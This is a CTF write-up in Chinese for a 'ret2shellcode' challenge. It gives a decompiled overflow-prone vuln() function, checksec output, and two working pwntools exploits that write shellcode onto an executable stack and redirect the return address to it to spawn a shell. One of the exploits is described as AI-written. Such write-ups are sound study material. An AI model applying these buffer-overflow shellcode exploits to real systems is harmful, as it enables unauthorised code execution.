Skip to content

ret2shellcode

反编译:

ssize_t vuln()
{
  _BYTE buf[256]; // [rsp+0h] [rbp-100h] BYREF

  puts("Can you feel the power of shellcode?");
  printf("Here is your gift: %p\n", buf);
  printf("Show me your shellcode: ");
  return read(0, buf, 0x200u);
}

checksec 输出:

Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX unknown - GNU_STACK missing
PIE:        No PIE (0x400000)
Stack:      Executable
RWX:        Has RWX segments
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No

因为栈可执行,且栈地址已知,故直接在栈上写 shellcode,同时覆盖返回地址指向栈上的 shellcode:

from pwn import *

context(log_level="DEBUG")
context.terminal = ["tmux", "split-w", "-h"]
context.arch = "amd64"

if args.REMOTE:
    p = remote(args.HOST, args.PORT)
else:
    p = process("./vuln")
elf = ELF("./vuln")

p.recvuntil(b"Here is your gift:")
buf_addr = int(p.recvline().decode(), 16)
log.info(f"buf addr: 0x{buf_addr:x}")
shellcode = shellcraft.amd64.linux.sh()
shellcode_addr = buf_addr + 0x110
payload = b"A" * 0x108 + p64(shellcode_addr) + asm(shellcode)
print(shellcode)
print(payload)
p.recvuntil(b"shellcode: ")
p.send(payload)
p.interactive()

AI 完成的攻击脚本,和上面的思路是一样的:

from pwn import *

context.arch = 'amd64'
context.os = 'linux'

import sys
LOCAL = '--remote' not in sys.argv

if LOCAL:
    p = process('./vuln')
else:
    p = remote('localhost', 9999)

# Receive leaked buffer address
p.recvuntil(b'Here is your gift: ')
buffer_addr = int(p.recvline().strip(), 16)
log.info(f"Leaked buffer: {hex(buffer_addr)}")

p.recvuntil(b'Show me your shellcode: ')

# execve('/bin/sh') shellcode
shellcode = asm(shellcraft.sh())

# Stack layout (vuln function):
#   [buffer         ] rbp-0x100  256 bytes
#   [saved rbp      ] rbp         8 bytes
#   [return address ] rbp+8       8 bytes
# read(0, buffer, 0x200) gives us a 512 byte write into 256 byte buffer
#
# Payload: [NOP sled][shellcode][padding to ret addr][buffer_addr]

payload  = b'\x90' * 64                # NOP sled
payload += shellcode                    # shellcode
payload += b'\x90' * (264 - len(payload))  # fill to return address
payload += p64(buffer_addr)            # return to NOP sled

p.send(payload)

# Interactive shell
p.interactive()

Comments